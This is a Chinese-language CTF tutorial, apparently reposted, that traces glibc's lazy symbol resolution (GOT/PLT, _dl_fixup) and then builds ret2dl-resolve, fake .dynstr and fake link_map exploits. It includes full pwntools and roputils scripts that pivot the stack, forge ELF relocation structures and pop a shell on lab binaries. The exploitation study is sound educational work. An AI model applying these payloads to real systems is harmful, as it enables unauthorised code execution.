这期内容当中小编将会给大家带来有关Linux pwn中针对函数重定位流程的几种攻击分别是什么，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。
在之前的章节中，我们无数次提到过got表和plt表这两个结构。这两个表有什么不同？为什么调用函数要经过这两个表？ret2dl-resolve与这些内容又有什么关系呢？本节我们将通过调试和“考古”来回答这些问题。
我们先选择程序~/XMAN 2016-level3/level3进行实验。这个程序在main函数中和vulnerable_function中都调用了write函数，我们分别在两个call _write和一个call _read上下断点，调试观察发生了什么。
调试 启动后程序断在第一个call _write处
此时我们按F7跟进函数，发现EIP跳到了.plt表上，从旁边的箭头我们可以看到这个jmp指向了后面的push 18h; jmp loc_8048300
我们继续F7执行到jmp loc_8048300发生跳转，发现这边又是一个push和一个jmp，这段代码也在.plt上。
同样的，我们直接执行到jmp执行完，发现程序跳转到了ld_2.24.so上，这个地址是loc_F7F5D010
到这里，有些人可能已经发现了不对劲。刚刚的指令明明是jmp ds:off_804a008，这个F7F5D010是从哪里冒出来的呢？其实这行jmp的意思并不是跳转到地址0x0804a008执行代码，而是跳转到地址0x0804a008中保存的地址处。同理，一开始的jmp ds:off_804a018也不是跳转到地址0x0804a018.OK，我们来看一下这两个地址里保存了什么。
回到call _write F7跟进后的那张图，跟进后的第一条指令是jmp ds:off_804a018，这个地址位于.got.plt中。我们看到其保存的内容是loc_8048346，后面还跟着一个DATA XREF:_write↑r. 说明这是一个跟write函数相关的代码引用的这个地址，上面的有一个同样的read也说明了这一点。而jmp ds:0ff_804a008也是跳到了0x0804a008保存的地址loc_F7F5D010处。
回到刚刚的eip，我们继续F8单步往下走，执行到retn 0Ch，继续往下执行就到了write函数的真正地址
现在我们可以归纳出call write的执行流程如下图：
然后我们F9到断在call _read，发现其流程也和上图差不多，唯一的区别在于addr1和push num中的数字不一样，call _read时push的数字是0接下来我们让程序执行到第二个call _write，F7跟进后发现jmp ds:0ff_804a018旁边的箭头不再指向下面的push 18h。
我们查看.got.plt，发现其内容已经直接变成了write函数在内存中的真实地址。
由此我们可以得出一个结论，只有某个库函数第一次被调用时才会经历一系列繁琐的过程，之后的调用会直接跳转到其对应的地址。那么程序为什么要这么设计呢？
要想回答这个问题，首先我们得从动态链接说起。为了减少存储器浪费，现代操作系统支持动态链接特性。即不是在程序编译的时候就把外部的库函数编译进去，而是在运行时再把包含有对应函数的库加载到内存里。由于内存空间有限，选用函数库的组合无限，显然程序不可能在运行之前就知道自己用到的函数会在哪个地址上。比如说对于libc.so来说，我们要求把它加载到地址0x1000处，A程序只引用了libc.so，从理论上来说这个要求不难办到。但是对于用了liba,so, libb.so, libc.so……liby.so, libz.so的B程序来说，0x1000这个地址可能就被liba.so等库占据了。因此，程序在运行时碰到了外部符号，就需要去找到它们真正的内存地址，这个过程被称为重定位。为了安全，现代操作系统的设计要求代码所在的内存必须是不可修改的，那么诸如call read一类的指令即没办法在编译阶段直接指向read函数所在地址，又没办法在运行时修改成read函数所在地址，怎么保证CPU在运行到这行指令时能正确跳到read函数呢？这就需要got表（Global Offset Table，全局偏移表）和plt表（Procedure Linkage Table，过程链接表）进行辅助了。
正如我们刚刚分析过的流程，在延迟加载的情况下，每个外部函数的got表都会被初始化成plt表中对应项的地址。当call指令执行时，EIP直接跳转到plt表的一个jmp，这个jmp直接指向对应的got表地址，从这个地址取值。此时这个jmp会跳到保存好的，plt表中对应项的地址，在这里把每个函数重定位过程中唯一的不同点，即一个数字入栈（本例子中write是18h,read是0，对于单个程序来说，这个数字是不变的），然后push got[1]并跳转到got[2]保存的地址。在这个地址中对函数进行了重定位，并且修改got表为真正的函数地址。当第二次调用同一个函数的时候，call仍然使EIP跳转到plt表的同一个jmp，不同的是这回从got表取值取到的是真正的地址，从而避免重复进行重定位。
我们通过调试已经大概搞清楚got表，plt表和重定位的流程了，但是作为一名攻击者来说，只了解这些东西并不够。ret2dl-resolve的核心原理是攻击符号重定位流程，使其解析库中存在的任意函数地址，从而实现got表的劫持。为了完成这一目标，我们就必须得深入符号解析的细节，寻找整个解析流程中的潜在攻击点。我们可以在https://ftp.gnu.org/gnu/glibc/下载到glibc源码，这里我用了glibc-2.27版本的源码。
我们回到程序跳转到ld_2.24.so的部分，这一段的源码是用汇编实现的，源码路径为glibc/sysdeps/i386/dl-trampoline.S（64位把i386改为x86_64），其主要代码如下：
.text .globl _dl_runtime_resolve .type _dl_runtime_resolve, @function cfi_startproc .align 16 _dl_runtime_resolve: cfi_adjust_cfa_offset (8) pushl %eax # Preserve registers otherwise clobbered. cfi_adjust_cfa_offset (4) pushl %ecx cfi_adjust_cfa_offset (4) pushl %edx cfi_adjust_cfa_offset (4) movl 16(%esp), %edx # Copy args pushed by PLT in register. Note movl 12(%esp), %eax # that `fixup' takes its parameters in regs. call _dl_fixup # Call resolver. popl %edx # Get register content back. cfi_adjust_cfa_offset (-4) movl (%esp), %ecx movl %eax, (%esp) # Store the function address. movl 4(%esp), %eax ret $12 # Jump to function address. cfi_endproc .size _dl_runtime_resolve, .-_dl_runtime_resolve
其采用了GNU风格的语法，可读性比较差，我们对应到IDA中的反汇编结果中修正符号如下_dl_fixup的实现位于glibc/elf/dl-runtime.c，我们首先来看一下函数的参数列表
_dl_fixup (# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS,# endif struct link_map *__unbounded l, ElfW(Word) reloc_arg)
忽略掉宏定义部分，我们可以看到_dl_fixup接收两个参数，link_map类型的指针l对应了push进去的got[1]，reloc_arg对应了push进去的数字。由于link_map *都是一样的，不同的函数差别只在于reloc_arg部分。我们继续追踪reloc_arg这个参数的流向。
如果你真的阅读了源码，你会发现这个函数里头找不到reloc_arg，那么这个参数是用不着了吗？不是的，我们往上面看，会看到一个宏定义
#ifndef reloc_offset# define reloc_offset reloc_arg# define reloc_index reloc_arg / sizeof (PLTREL)#endifreloc_offset在函数开头声明变量时出现了。 const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW(Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value;
D_PTR是一个宏定义，位于glibc/sysdeps/generic/ldsodefs.h中，用于通过link_map结构体寻址。这几行代码分别是寻找并保存symtab, strtab的首地址和利用参数reloc_offset寻找对应的PLTREL结构体项，然后会利用这个结构体项reloc寻找symtab中的项sym和一个rel_addr.我们先来看看这个结构体的定义。这个结构体定义在glibc/elf/elf.h中，32位下该结构体为
typedef struct{
Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */} Elf32_Rel;这个结构体中有两个成员变量，其中r_offset参与了初始化变量rel_addr，这个变量在_dl_fixup的最后return处作为函数elf_machine_fixup_plt的参数传入，r_offset实际上就是函数对应的got表项地址。另一个参数r_info参与了初始化变量sym和一些校验，而sym和其成员变量会作为参数传递给函数_dl_lookup_symbol_x和宏DL_FIXUP_MAKE_VALUE中，显然我们必须关注一下它。不过首先我们得看一下reloc->r_info参与的其他部分代码。
首先我们看到这么一行代码
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
这行代码用了一大堆宏，ELFW宏用来拼接字符串，在这里实际上是为了自动兼容32和64位，R_TYPE和前面出现过的R_SYM定义如下：
#define ELF32_R_SYM(i) ((i)>>8)#define ELF32_R_TYPE(i) ((unsigned char)(i))#define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))所以这一行代码取reloc->r_info的最后一个字节，判断是否为ELF_MACHINE_JMP_SLOT，即7.我们继续往下看
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}这段代码使用reloc->r_info最终给version进行了赋值，这里我们可以看出reloc->r_info的高24位异常可能导致ndx数值异常，进而在version = &l->l_versions[ndx]时可能会引起数组越界从而使程序崩溃。
看完了这一段，我们回头看一下变量sym， sym同样使用了ELFW(R_SYM)(reloc->r_info)作为下标进行赋值。
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
Elfw(Sym)会被处理成Elf32_Sym，定义在glibc/elf/elf.h，结构体如下：
typedef struct{
Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */} Elf32_Sym;这里面的成员变量st_other和st_name都被用到了
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
………………
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
………………
}这里省略了部分代码，我们可以从函数名判断出，只有这个if成立，真正进行重定位的函数_dl_lookup_symbol_x才会被执行。ELFW(ST_VISIBILITY)会被解析成宏定义
位于glibc/elf/elf.h，所以我们得知这边的sym->st_other后两位必须为0。
我们可以看到传入_dl_lookup_symbol_x函数的参数中，第一个参数为strtab+sym->st_name，第三个参数是sym指针的引用。strtab在函数的开头已经赋值为strtab的首地址，查阅资料可知strtab是ELF文件中的一个字符串表，内容包括了.symtab和.debug节的符号表等等。我们根据readelf给出的偏移来看一下这个表。
可以看到这里面是有read、write、__libc_start_main等函数的名字的。那么函数_dl_lookup_symbol_x为什么要接收这个名字呢？我们进入这个函数，发现这个函数的代码有点多。考虑到我们关心的是重定位过程中不同的reloc_arg是如何影响函数的重定位的，我们在此不分析其细节。
_dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,
const ElfW(Sym) **ref,
struct r_scope_elem *symbol_scope[],
const struct r_found_version *version,
int type_class, int flags, struct link_map *skip_map)
{
const uint_fast32_t new_hash = dl_new_hash (undef_name);
unsigned long int old_hash = 0xffffffff;
struct sym_val current_value = { NULL, NULL };
.............
/* Search the relevant loaded objects for a definition. */ for (size_t start = i; *scope != NULL; start = 0, ++scope)
{
int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
¤t_value, *scope, start, version, flags,
skip_map, type_class, undef_map);
if (res > 0)
break;
if (__glibc_unlikely (res < 0) && skip_map == NULL)
{
/* Oh, oh. The file named in the relocation entry does not
contain the needed symbol. This code is never reached
for unversioned lookups. */ assert (version != NULL);
const char *reference_name = undef_map ? undef_map->l_name : "";
struct dl_exception exception;
/* XXX We cannot translate the message. */ _dl_exception_create_format
(&exception, DSO_FILENAME (reference_name),
"symbol %s version %s not defined in file %s" " with link time reference%s",
undef_name, version->name, version->filename,
res == -2 ? " (no version symbols)" : "");
_dl_signal_cexception (0, &exception, N_("relocation error"));
_dl_exception_free (&exception);
*ref = NULL;
return 0;
}
...............
}我们看到函数名字会被计算hash，这个hash会传递给do_lookup_x，从函数名和下面对分支的注释我们可以看出来do_lookup_x才是真正进行重定位的函数，而且其返回值res大于0说明寻找到了函数的地址。我们继续进入do_lookup_x，发现其主要是使用用strtab + sym->st_name计算出来的参数new_hash进行计算，与strtab + sym->st_name，sym等并没有什么关系。对比do_lookup_x的参数列表和传入的参数，我们可以发现其结果保存在current_value中。
do_lookup_x:static int__attribute_noinline__ do_lookup_x (const char *undef_name, uint_fast32_t new_hash, unsigned long int *old_hash, const ElfW(Sym) *ref, struct sym_val *result, struct r_scope_elem *scope, size_t i, const struct r_found_version *const version, int flags, struct link_map *skip, int type_class, struct link_map *undef_map) _dl_lookup_symbol_x:int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref, ¤t_value, *scope, start, version, flags, skip_map, type_class, undef_map);
至此，我们已经分析完了reloc_arg对函数重定位的影响，我们用下面这张图总结一下整个影响过程：
我们以write函数为例进行调试分析，write的reloc_arg是0x18
使用readelf查看程序信息，找到JMPREL在0x080482b0
事实上该信息存储在.rel.plt节里我们找到这块内存，按照结构体格式解析数据，可知r->offset = 0x0804a018 , r->info=407，与readelf显示的.rel.plt数据吻合。
所以是symtab的第四项，我们可以通过#include<elf.h>导入该结构体后使用sizeof算出Elf32_Sym大小为0x10，通过上面readelf显示的节头信息我们发现symtab并不会映射到内存中，可是重定位是在运行过程中进行的，显然在内存中会有相关数据，这就产生了矛盾。通过查阅资料我们可以得知其实symtab有个子集dymsym，在节头表中显示其位于080481cc
对照结构体，st_name是0x31，接下来我们去strtab找，同样的，strtab也有个子集dynstr，地址在0804822c.加上0x31后为0804825d
通过一系列冗长的源码阅读+调试分析，我们捋了一遍符号重定位的流程，现在我们要站在攻击者的角度看待这个流程了。从上面的分析结果中我们知道其实最终影响解析的是函数的名字，那么如果我们强行把write改成system呢？我们来试一下。
我们强行修改内存数据，然后继续运行，发现劫持got表成功，此时write表项是system的地址。
那么我们是不是可以修改dynstr里面的数据呢？通过查看内存属性，我们很不幸地发现.rel.plt. .dynsym .dynstr所在的内存区域都不可写。
这样一来，我们能够改变的就只有reloc_arg了。基于上面的分析，我们的思路是在内存中伪造Elf32_Rel和Elf32_Sym两个结构体，并手动传递reloc_arg使其指向我们伪造的结构体，让Elf32_Sym.st_name的偏移值指向预先放在内存中的字符串system完成攻击。为了地址可控，我们首先进行栈劫持并跳转到0x0804834B
为此我们必须在bss段构造一个新的栈，以便栈劫持完成后程序不会崩溃。ROP链如下：
#!/usr/bin/python#coding:utf-8from pwn import *
context.update(os = 'linux', arch = 'i386')start_addr = 0x08048350read_plt = 0x08048310write_plt = 0x08048340write_plt_without_push_reloc_arg = 0x0804834bleave_ret = 0x08048482pop3_ret = 0x08048519pop_ebp_ret = 0x0804851bnew_stack_addr = 0x0804a200 #bss与got表相邻，_dl_fixup中会降低栈后传参，设置离bss首地址远一点防止参数写入非法地址出错io = remote('172.17.0.2', 10001)payload = ""payload += 'A'*140 #paddingpayload += p32(read_plt) #调用read函数往新栈写值，防止leave; retn到新栈后出现ret到地址0上导致出错payload += p32(pop3_ret) #read函数返回后从栈上弹出三个参数payload += p32(0) #fd = 0payload += p32(new_stack_addr) #buf = new_stack_addrpayload += p32(0x400) #size = 0x400payload += p32(pop_ebp_ret) #把新栈顶给ebp，接下来利用leave指令把ebp的值赋给esppayload += p32(new_stack_addr) payload += p32(leave_ret)
io.send(payload) #此时程序会停在我们使用payload调用的read函数处等待输入数据payload = ""payload += "AAAA" #leave = mov esp, ebp; pop ebp，占位用于pop ebppayload += p32(write_plt_without_push_reloc_arg) #按照我们的测试方案，强制程序对write函数重定位，reloc_arg由我们手动放入栈中payload += p32(0x18) #手动传递write的reloc_arg，调用writepayload += p32(start_addr) #函数执行完后返回startpayload += p32(1) #fd = 1payload += p32(0x08048000) #buf = ELF程序加载开头，write会输出ELFpayload += p32(4) #size = 4
io.send(payload)测试结果：
我们可以看到调用成功了。我们发现其实跳转到write_plt_without_push_reloc_arg上，还是会直接跳转到PLT[0]，所以我们可以把这个地址改成PLT[0]的地址。
接下来我们开始着手在新的栈上伪造两个结构体：
write_got = 0x0804a018 new_stack_addr = 0x0804a500 #bss与got表相邻，_dl_fixup中会降低栈后传参，设置离bss首地址远一点防止参数写入非法地址出错relplt_addr = 0x080482b0 #.rel.plt的首地址，通过计算首地址和新栈上我们伪造的结构体Elf32_Rel偏移构造reloc_argdymsym_addr = 0x080481cc #.dynsym的首地址，通过计算首地址和新栈上我们伪造的Elf32_Sym结构体偏移构造Elf32_Rel.r_infodynstr_addr = 0x0804822c #.dynstr的首地址，通过计算首地址和新栈上我们伪造的函数名字符串system偏移构造Elf32_Sym.st_namefake_Elf32_Rel_addr = new_stack_addr + 0x50 #在新栈上选择一块空间放伪造的Elf32_Rel结构体，结构体大小为8字节fake_Elf32_Sym_addr = new_stack_addr + 0x5c #在伪造的Elf32_Rel结构体后面接上伪造的Elf32_Sym结构体，结构体大小为0x10字节binsh_addr = new_stack_addr + 0x74 #把/bin/sh\x00字符串放在最后面fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr #计算伪造的reloc_argfake_r_info = ((fake_Elf32_Sym_addr - dymsym_addr)/0x10) << 8 | 0x7 #伪造r_info，偏移要计算成下标，除以Elf32_Sym的大小，最后一字节为0x7fake_st_name = new_stack_addr + 0x6c - dynstr_addr #伪造的Elf32_Sym结构体后面接上伪造的函数名字符串systemfake_Elf32_Rel_data = ""fake_Elf32_Rel_data += p32(write_got) #r_offset = write_got，以免重定位完毕回填got表的时候出现非法内存访问错误fake_Elf32_Rel_data += p32(fake_r_info)fake_Elf32_Sym_data = ""fake_Elf32_Sym_data += p32(fake_st_name)fake_Elf32_Sym_data += p32(0) #后面的数据直接套用write函数的Elf32_Sym结构体，具体成员变量含义自行搜索fake_Elf32_Sym_data += p32(0)fake_Elf32_Sym_data += p32(0x12)
我们把新栈的地址向后调整了一点，因为在调试深入到_dl_fixup的时候发现某行指令试图对got表写入，而got表正好就在bss的前面，紧接着bss，为了防止运行出错，我们进行了调整。此外，需要注意的是伪造的两个结构体都要与其首地址保持对齐。完成了结构体伪造之后，我们将这些内容放在新栈中，调试的时候确认整个伪造的链条正确，pwn it!
与32位不同，在64位下，虽然_dl_fixup函数的逻辑没有改变，但是许多相关的变量和结构体都有了变化。例如在glibc/sysdeps/x86_64/dl-runtime.c中定义了
reloc_offset和reloc_index
#define reloc_offset reloc_arg * sizeof (PLTREL)#define reloc_index reloc_arg#include <elf/dl-runtime.c>
我们可以可以推断出reloc_arg已经不像32位中是作为一个偏移值存在，而是作为一个数组下标存在。此外，两个关键的结构体也做出了调整：Elf32_Rel升级为Elf64_Rela, Elf32_Sym升级为Elf64_Sym，这两个结构体的大小均为0x18
typedef struct{
Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */} Elf64_Rela;typedef struct{
Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */} Elf64_Sym;此外，_dl_runtime_resolve的实现位于glibc/sysdeps/x86_64/dl-trampoline.h中，其代码加了宏定义之后可读性很差，核心内容仍然是调用_dl_fixup，此处不再分析。
最后，在64位下进行ret2dl-resolve还有一个问题，即我们在分析源码时提到但是应用中却忽略的一个潜在数组越界：
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}这里会使用reloc->r_info的高位作为下标产生了ndx，然后在link_map的成员数组变量l_versions中取值作为version。为了在伪造的时候正确定位到sym，r_info必然会较大。在32位的情况下，由于程序的映射较为紧凑， reloc->r_info的高24位导致vernum数组越界的情况较少。由于程序映射的原因，vernum数组首地址后面有大片内存都是以0x00填充，攻击导致reloc->r_info的高24位过大后从vernum数组中获取到的ndx有很大概率是0，从而由于ndx异常导致l_versions数组越界的几率也较低。我们可以对照源码，IDA调试进入_dl_fixup后，将断点下在if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)附近。
中断后切换到汇编
单步运行到movzx edx, word ptr [edx+esi*2]一行
观察edx的值，此处为0x0804827c, edx+esi*2 = 0x08048284，查看程序的内存映射情况
一直到地址0x0804b000都是可读的，所以esi，也就是reloc->r_info的高24位最高可以达到0x16c2，考虑到.dymsym与.bss的间隔，这个允许范围基本够用。继续往下看
此时的edi = 0xf7fa9918，[edi+170h]保存的值为0Xf7f7eb08，其后连续可读的地址最大值为0xf7faa000，因此mov ecx, [edx+4]一行，按照之前几行汇编代码的算法，只要取出的edx值不大于(0xf7faa000-0xf7f7eb08)/0x10 = 0x2b4f，version = &l->l_versions[ndx];就不会产生非法内存访问。仔细观察会发现0x0804827c~0x0804b000之间几乎所有的2字节word型数据都符合要求。因此，大部分情况下32位的题目很少会产生ret2dl-resolve在此处造成的段错误。
而对于64位，我们用相同的方法调试本节的例子~/XMAN 2016-level3_64/level3_64会发现由于我们常用的bss段被映射到了0x600000之后，而dynsym的地址仍然在0x400000附近，r_info的高位将会变得很大，再加上此时vernum也在0x400000附近，vernum[ELFW(R_SYM) (reloc->r_info)]将会有很大概率落在在0x400000~0x600000间的不可读区域
从而产生一个段错误。为了防止出现这个错误，我们需要修改判断流程，使得l->l_info[VERSYMIDX (DT_VERSYM)]为0，从而绕开这块代码。而l->l_info[VERSYMIDX (DT_VERSYM)]在64位中的位置就是link_map+0x1c8(对应的，32位下为link_map+0xe4)，所以我们需要泄露link_map地址并将link_map置为0
64位下的ret2dl-resolve与32位下的ret2dl-resolve除了上述一些变化之外，exp构造流程并没有什么区别，在此处不再赘述，详细脚本可见于附件。
理论上来说，ret2dl-resolve对于所有存在栈溢出，没有Full RELRO(如果开启了Full RELRO，所有符号将会在运行时被全部解析，也就不存在_dl_fixup了)且有一个已知确定的栈地址(可以通过stack pivot劫持栈到已知地址)的程序都适用。但是我们从上面的64位ret2dl-resolve中可以看到其必须泄露link_map的地址才能完成利用，对于32位程序来说也可能出现同样的问题。如果出现了不存在输出的栈溢出程序，我们就没办法用这种套路了，那我们该怎么办呢？接下来的几节我们将介绍一些不依赖泄露的攻击手段。
从上面32位和64位的攻击脚本我们不难看出来，虽然构造payload的过程很繁琐，但是实际上大部分代码的格式都是固定的，我们完全可以自己把它们封装成一个函数进行调用。当然，我们还可以当一把懒人，直接用别人写好的库。是的，我说的就是一个有趣的，没有使用说明的项目ROPutils(https://github.com/inaz2/roputils)
这个python库的作者似乎挺懒的，不仅不写文档，而且代码也好几年没更新了。不过这并不妨碍其便利性。我们直接看代码roputils.py，其大部分我们会用到的东西都在ROP*和FormatStr这几个类中，不过ROPutils也提供了其他的辅助工具类和函数。当然，在本节中我们只会介绍和ret2dl-resolve相关的一些函数的用法，不做源码分析和过多的介绍。
我们可以直接把roputils.py和自己写的脚本放在同一个文件夹下以使用其中的功能。以~/XMAN 2016-level3/level4为例。其实我们会发现fake dl-resolve并不一定需要进行栈劫持，我们只要确保伪造的link_map所在地址已知，且地址能被作为参数传入_dl_fixup即可。我们先来构造一个栈溢出，调用read读取伪造的link_map到.bss中。
from roputils import *
#为了防止命名冲突，这个脚本全部只使用roputils中的代码。如果需要使用pwntools中的代码需要在import roputils前import pwn，以使得roputils中的ROP覆盖掉pwntools中的ROProp = ROP('./level4') #ROP继承了ELF类，下面的section, got, plt都是调用父类的方法bss_addr = rop.section('.bss')read_got = rop.got('read')read_plt = rop.plt('read')offset = 140io = Proc(host = '172.17.0.2', port = 10001) #roputils中这里需要显式指定参数名buf = rop.fill(offset) #fill用于生成填充数据buf += rop.call(read_plt, 0, bss_addr, 0x100) #call可以通过某个函数的plt地址方便地进行调用buf += rop.dl_resolve_call(bss_addr+0x20, bss_addr) #dl_resolve_call有一个参数base和一个可选参数列表*args。base为伪造的link_map所在地址，*args为要传递给被劫持调用的函数的参数。这里我们将"/bin/sh\x00"放置在bss_addr处，link_map放置在bss_addr+0x20处io.write(buf)然后我们直接用dl_resolve_data生成伪造的link_map并发送buf = rop.string('/bin/sh')
buf += rop.fill(0x20, buf) #如果fill的第二个参数被指定，相当于将第二个参数命名的字符串填充至指定长度buf += rop.dl_resolve_data(bss_addr+0x20, 'system') #dl_resolve_data的参数也非常简单，第一个参数是伪造的link_map首地址，第二个参数是要伪造的函数名buf += rop.fill(0x100, buf)io.write(buf)
然后我们直接使用io.interact(0)就可以打开一个shell了。
关于roputils的用法可以参考其github仓库中的examples，其他练习程序不再提供对应的roputils写法的脚本。
在32位的ret2dl-resolve一节中我们已经发现,ELF开发小组为了安全，设置.rel.plt. .dynsym .dynstr三个重定位相关的节区均为不可写。然而ELF文件中有一个.dynamic节，其中保存了动态链接器所需要的基本信息，而我们的.dynstr也属于这些基本信息中的一个。更棒的是，如果一个程序没有开启RELRO(即checksec显示No RELRO).dynamic节是可写的。（Partial RELRO和Full RELRO会在程序加载完成时设置.dynamic为不可写，因此尽管readelf显示其为可写也不可相信）
.dynamic节中只包含Elf32/64_Dyn结构体类型的数据，这两个结构体定义在glibc/elf/elf.h下
typedef struct{
Elf32_Sword d_tag; /* Dynamic entry type */ union {
Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un;
} Elf32_Dyn;typedef struct{
Elf64_Sxword d_tag; /* Dynamic entry type */ union {
Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un;
} Elf64_Dyn;从结构体的定义我们可以看出其由一个d_tag和一个union类型组成，union中的两个变量会随着不同的d_tag进行切换。我们通过readelf看一下.dynstr的d_tag其标记为0x05，union变量显示为值0x0804820c。我们看一下内存中.dynamic节中.dynstr对应的Elf32_Dyn结构体和指针指向的数据。
因此，我们只需要在栈溢出后程序中仍然存在至少一个未执行过的函数，我们就可以修改.dynstr对应结构体中的地址，从而使其指向我们伪造的.dynstr数据，进而在解析的时候解析出我们想要的函数。
我们以32位的程序为例，打开~/fake_dynstr32/fake_dynstr32
这个程序满足了我们需要的一切条件——No RELRO，栈溢出发生在vuln中，exit不会被调用，因此我们可以用上述方法进行攻击。首先我们把所有的字符串从里面拿出来，并且把exit替换成system
call_exit_addr = 0x08048495 read_plt = 0x08048300 start_addr = 0x08048350 dynstr_d_ptr_address = 0x080496a4 fake_dynstr_address = 0x08049800 fake_dynstr_data = "\x00libc.so.6\x00_IO_stdin_used\x00system\x00\x00\x00\x00\x00\x00read\x00__libc_start_main\x00__gmon_start__\x00GLIBC_2.0\x00"
注意由于memset的一部分也会被system覆盖掉，我们应该把剩余的部分设置为\x00，防止后面的符号偏移值错误。memset由于是在read函数运行之前运行的，所以它的符号已经没用了，可以被覆盖掉。
接下来我们构造ROP链依次写入伪造的dynstr字符串和其保存在Elf32_Dyn中的地址。
io = remote("172.17.0.2", 10001)
payload = ""payload += 'A'*22 #paddingpayload += p32(read_plt) #修改.dynstr对应的Elf32_Dyn.d_ptrpayload += p32(start_addr)
payload += p32(0)
payload += p32(dynstr_d_ptr_address)
payload += p32(4)
io.send(payload)sleep(0.5)
io.send(p32(fake_dynstr_address)) #新的.dynstr地址sleep(0.5)
payload = ""payload += 'A'*22 #paddingpayload += p32(read_plt) #在内存中伪造一块.dynstr字符串payload += p32(start_addr)
payload += p32(0)
payload += p32(fake_dynstr_address)
payload += p32(len(fake_dynstr_data)+8) #长度是.dynstr加上8，把"/bin/sh\x00"接在后面io.send(payload)sleep(0.5)
io.send(fake_dynstr_data+"/bin/sh\x00") #把/bin/sh\x00接在后面sleep(0.5)此时还剩下函数exit未被调用，我们通过前面的步骤伪造了.dynstr，将其中的exit改成了system，因此根据_dl_fixup的原理，此时函数将会解析system的首地址并返回到system上。
64位下的利用方式与32位下并没有区别，此处不再进行详细分析。
由于各种保护方式的普及，现在能碰到No RELRO的程序已经很少了，因此上节所述的攻击方式能用上的机会并不多，所以这节我们介绍另外一种方式——通过伪造link_map结构体进行攻击。
在前面的源码分析中，我们主要把目光集中在未解析过的函数在_dl_fixup的流程中而忽略了另外一个分支。
_dl_fixup (# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS,# endif struct link_map *l, ElfW(Word) reloc_arg)
{
………… //变量定义，初始化等等 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判断函数是否被解析过。此前我们一直利用未解析过的函数的结构体，所以这里的if始终成立 …………
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
…………
}
else {
/* We already found the symbol. The module (and therefore its load
address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
…………
}通过注释我们可以看到之前的if起的是判断函数是否被解析过的作用，如果函数被解析过，_dl_fixup就不会调用_dl_lookup_symbol_x对函数进行重定位，而是直接通过宏DL_FIXUP_MAKE_VALUE计算出结果。这边用到了link_map的成员变量l_addr和Elf32/64_Sym的成员变量st_value。这里的l_addr是实际映射地址和原来指定的映射地址的差值，st_value根据对应节的索引值有不同的含义。不过在这里我们并不需要关心那么多，我们只需要知道如果我们能使l->l_addr + sym->st_value指向一个函数的在内存中的实际地址，那么我们就能返回到这个函数上。但是问题来了，如果我们知道了system在内存中的实际地址，我们何苦用那么麻烦的方式跳转到system上呢？所以答案是我们不知道。我们需要做的是让l->l_addr和sym->st_value其中之一落在got表的某个已解析的函数上（如__libc_start_main），而另一个则设置为system函数和这个函数的偏移值。既然我们都伪造了link_map，那么显然l_addr是我们可以控制的，而sym根据我们的源码分析，它的值最终也是从link_map中获得的（很多节区地址，包括.rel.plt, .dynsym, dynstr都是从中取值，更多细节可以对比调试时的link_map数据与源码进行学习）
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
所以这两个值我们都可以进行伪造。此时只要我们知道libc的版本，就能算出system与已解析函数之间的偏移了。
